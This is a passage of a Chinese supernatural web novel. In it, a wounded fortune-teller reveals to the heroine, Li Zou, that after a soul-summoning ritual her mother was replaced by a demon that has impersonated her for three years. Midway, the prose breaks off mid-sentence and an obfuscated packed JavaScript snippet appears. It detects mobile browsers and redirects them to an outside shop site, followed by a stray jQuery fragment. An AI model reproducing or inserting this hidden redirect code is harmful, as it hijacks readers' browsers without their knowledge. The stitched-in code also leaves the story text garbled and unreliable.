越澄扶着半残的秦广清,三人一路磕磕绊绊,不知走了多久,终于离开了那闹鬼的酒店,回到了现世。
周围还飘着细密的雨,天边已有亮光,明天是个晴天。
此时,黎楱受伤的肩膀几乎完全失去知觉。好在三人在黑暗的树林中找到一处小木屋,终于有了个落脚地。
可惜小木屋不是黎楱捡柴刀的那一个,无法确定方位。
黎楱身上又湿又黏,半个小腿已经泥泞一片,肩膀上的血一直在流,她都要惊叹于自己的身体竟然如此强悍。
小屋里堆着一些杂物,越澄先进门勉强清了一点空地出来,才将秦广清搬进来。让他靠在一旁的塑料雨棚上,用法术帮秦广清止了血,确认他一时半会死不了,终于找出时间担心起黎楱来。
可自己的法术却没有生效,黎楱肩头的血还在不停地流。越澄只好将自己的衬衫划下一片,帮她做了个简单的包扎。黎楱始终一声不吭地看着秦广清。
秦广清也看着她,良久,叹了一口气,终于说起了黎凤眠的事情。
四年前,黎凤眠带着一脸愁容和决绝找到了秦广清,开了极高的价钱,她说自己的女儿魂丢了,无法醒过来,因此重金请秦广清为女儿招魂。
招魂除了需要术士做法事、社坛辅助之外,还需要一名亲人在阴阳交替之时进行“喊魂”,以往原本是比较普遍的仪式,而在妖鬼横行的当下,这种行为变得极度危险。在招魂过程中,可能会吸引原始鬼。因此现在的术士很少有能做这些的,也很少有人愿意做。
而秦广清也从来没有接这样的活,他不知道黎凤眠为什么会找上他,也不明白黎凤眠为什么如此笃定自己能做。
黎凤眠第二次来的时候直接带了个支票本,表示只要能救自己的女儿,支票上的数字随便他填。纵然是被黎凤眠的豪气震到,秦广清犹豫了一会还是拒绝了。
要赚自己有命花的钱。
这是他的生意准则。
黎凤眠实在没有了办法,最后对秦广清说:“那您能去看看我女儿吗?看她.....是不是还有其他办法。”
也许还有那么一点除了金钱之外的良心,秦广清跟着去了。
黎楱被安置在一家私立医院的高级病房里,生理指标正常,脑电也很活跃。
黎凤眠告诉秦广清,自己的女儿是在一个月前跟朋友出门玩的时候出的事。
同行的同学发现黎楱失踪后,又在一个丛林中找到了她,于是叫了救护车并报了警。
最后的检查结果是,除了衣服脏点,身体没有任何损伤,连一个小伤口也没有。生理指标也完全正常,脑电一直呈现β波。
至于是怎么找到秦广清、又为什么如此确信自己的女儿需要的是招魂,这些黎凤眠闭口不谈。
秦广清无奈之下,告诉黎凤眠,招魂危险性太大,而且未必能成功将黎楱的魂魄从阴间带回来。
然而黎凤眠却说:“她的魂魄不在阴间。”
“什么?”秦广清愣住了。
“不在阴间。”黎凤眠又重复了一遍,说道,“在娃娃山。”正是黎楱出事的地方。
魂魄不在阴间的情况不多,要么被人困在了某个物件当中,要么被人困在了场域,虽然情况并没有好多少,但秦广清可以尝试。
不过前提是他要问问神仙,以及为这母女俩算个命。
老祖证实了黎凤眠的话,但与此同时,也看清了别的什么。
“你妈妈早就该死了。”
“什么意思?”黎楱瞳孔颤抖着问道。
秦广清费力的咳了两声,解释了一下:“我虽然没有通天的本领,但算命这点还算拿手的。她原本应该死在25岁的,更不应该有个女儿。”
秦广清当时觉得对方不简单,不想招魂了。
黎凤眠却告诉他:“我是因为她才能活到现在。如果我没有生她,我早就死了。”
黎凤眠当时坐在黎楱的病床边,说了许多他听不懂且莫名其妙的话:“看似我给了她生命,其实是她给了我生命。”
她惨然一笑,念叨着:“75%,25%;90%,10%。”
黎凤眠就这样静静地看着沉睡的黎楱,眼神里的心疼只停留了短暂一会,很快散去。她伸手帮黎楱理了理头发,又轻轻摸了摸她的额头,说道:“我就是怎么也不放心这孩子。她胆子不大,但做起事来又非常任性,还不听劝。我到现在都不知道有没有把她教好。”说着说着,黎凤眠声音又低了下来,仿佛下定了某种决心:“不过这样也好,以后不会受欺负。”
最后,黎凤眠几乎是威胁着秦广清帮她就女儿。
之后,黎凤眠和秦广清花了好几个月的时间找黎楱的丢魂之处,最终确定了是在娃娃山一个旅游区附近。当时秦广清的判断是一个封闭的小场域,要么是制造场域的恶鬼故意做的陷阱,进行捕猎。要么是恶鬼本身出了什么问题,从而不能及时关闭场域。
无论是哪一点,都是亲自进去寻人的黎凤眠风险最大,而秦广清则比较容易脱身。
黎凤眠自然是没有犹豫的答应了。
秦广清在招魂仪式开始前,还尝试跟当地的异管局沟通过,却迟迟没收到回复。但他们这行想来和异管局之前保持着互不干涉的良好界限,因此并不是事事需要跟对方沟通。秦广清当时只想再上一重保险。
招魂的时间在傍晚,晚霞烧得像火一样,将树林变成了铁锈般的黑色。黎凤眠需要绕过当地的坟茔,边呼唤黎楱回家,等待时机,进入场域,若是看到黎楱,便将她带回来。
只要能将黎楱带出场域,就能成功。
天黑彻底黑了之后,秦广清看见地面的招魂幡停了下来。当时方木子守在黎楱病房里,告诉他,黎楱的魂魄回来了。
秦广清心放了一半。
但黎凤眠并没有在规定时间内出来,注定是凶多吉少了。秦广清慢悠悠的让下其余人收拾祭坛,心里不免唏嘘。
逢魔时刻结束,就在秦广清准备撤离时,重重树影中走出来一个人。
秦广清缩了缩身体,仿佛是想起来极为恐怖的事情一般。
“那根本不是人,是地下跑出来的恶鬼。”秦广清有些颤抖地说。
黎凤眠一只手撑着一旁的树干,挑起嘴角,对秦广清说:“谢谢你啊,秦师傅,您真是帮了大忙了。”
她脸上虽然笑着,但眼神冰冷,整个人透露出一股异样和别扭。
秦广清的直觉告诉他,如果当时自己的反应不正常,绝对会被对方杀掉。因此只能僵着脸,假装对方正常。
“你......你要跟我一起走吗?”秦广清擦了擦额头的汗,问道。
黎凤眠望了望停在后面的黑车,和散落一地的符纸,说:“好啊。”
黎凤眠走路的姿势十分僵硬,并且似乎缺乏方向感,有时候明明看着前方,腿部却朝向侧方。
秦广清假装什么都没看到,两人心惊胆战的回到了医院。
方木子整理好病房的道具后,就离开了。秦广清将黎凤眠送入病房,也马不停蹄的走了。
离开时,他回头看了一眼。
黎凤眠站在床边,低着头,一动不动的看着黎楱,眼神半是好奇,半是兴奋。
“那东西根本不是我能对付的了的。我一出医院就联系了娃娃山的异管局,他们的联络员说会来处理。过了几天,娃娃山那边的异管局告诉我他们已经处理了。但我却没有得到任何信息。”
当时秦广清就觉得不对劲,因此马不停蹄地搬了家。可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248335|189255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两个月之后,黎凤眠再次找到了他。
她提着一大堆礼品,说是感谢秦广清。
此时的黎凤眠好像又恢复正常了。秦广清将黎凤眠引到茶室,两人有一搭没一搭聊着。秦广清多次试探黎凤眠是怎么找到黎楱的魂魄的,黎凤眠却说自己也是很恍惚。
秦广清看着黎凤眠,总觉得哪些地方怪怪的,但又说不出来。
就在黎凤眠即将离开的时候,秦广清做了一个让他得到今日下场的动作。
“我的眼睛跟木子的都情况一样,天生就能看见常人看不见的东西。只不过木子需要靠定制的美瞳来控制,我可以自己控制。”秦广清解释了一下,又颤抖着继续说,“鬼使神差的,我当时突然就开了阴阳眼。”
“我看见......”秦广清仿佛想起来极为恐怖的事情,连肩膀都在颤抖。
黎凤眠的体内属于自己的三魂都已消失,只有一个全身黑红,面部长着独眼的魂在她体内。
秦广清开眼的那一刻,那个黑魂的眼瞳便钉在他身上。
仿佛在被无数把刀凌迟、又像被烈火烹煮、冰锥刺骨,还像被人啃食、侵犯。
短短几秒,秦广清却像是在十八层地狱走廊一遭,大汗淋漓。
黎凤眠不知什么时候转过头来,眼睛一眨不眨的盯住他。
她在打量他!
秦广清心中警铃大作。
“我还会来拜访您的。”黎凤眠丢下这么一句,便离开了。
秦广清第二天就再次搬了家。
“我原本是住在娃娃山,后面我搬到了其他地方,这边的房子虽然还留着,也很少来了。”秦广清说,“过了三年,我以为这个事情过去了,就开始接桐安这边的生意,结果没想到,还是没被放过。”秦广清苦笑了一声。
三个多月前,秦广清接了南湾区某个楼盘的封顶仪式,当天早上老总亲自开车来接他,等车往山里开时,他才察觉不对劲,而驾驶位上的老总早已变成了死人。
秦广清下了车,发现这里正是他当时替黎楱招魂的地方。可惜他只带了祈福用的法器,没有什么攻击力。
还没看清敌人就失去了意识。
再次醒来就发现自己被绑住,动弹不了,周围一片漆黑,不知道时间与空间。
知道今天他突然发现自己能动了,刚挪了两步,黎楱便走了进来。
信息量太大,黎楱的精神状态已经摇摇欲坠,很多东西没办法正常思考,只能捕捉到最近的信息。黎楱抓着越澄的手臂,脑子艰难转动着:“你是说,把你关在酒店的人是我妈.....是我那个冒充我妈妈的人。”
而黎凤眠,在三年前就被替代了。
黎楱醒来时看见的根本不是自己的妈妈,而是一个冒充她母亲,冒充黎凤眠的怪物。
黎楱阖动着嘴唇,想说些什么,却只尝到了咸湿的眼泪。
在寻找黎凤眠的那一个月里,她经历了无数次的从希望到绝望的过程,到最后,她也不清楚自己对黎凤眠的生死有着怎样的期待了。也许是潜意识中早已预料到结果,又或者是自己的生理状况已经支撑不了她的情绪了,所以秦广清的回答并没有对她造成多大刺激,至少在心理上,她什么也没感受到。
只是生理反应却不知道为什么不受她控制。
三人静默了很久,越澄的手臂几乎要失去了知觉,黎楱才意识到自己的感觉——荒谬、自责。
那个人在自己身边待了三年,竟然也没发现她是披着人皮的鬼。
纷乱的脚步声从由远及近,打破了小木屋的安静,木门被推开,浅淡的阳光爬了进来。
随着阳光一起来的,还有黎楱心底的怒火,想要侵吞一切的怒火。
“我绝对要杀了她!”她说。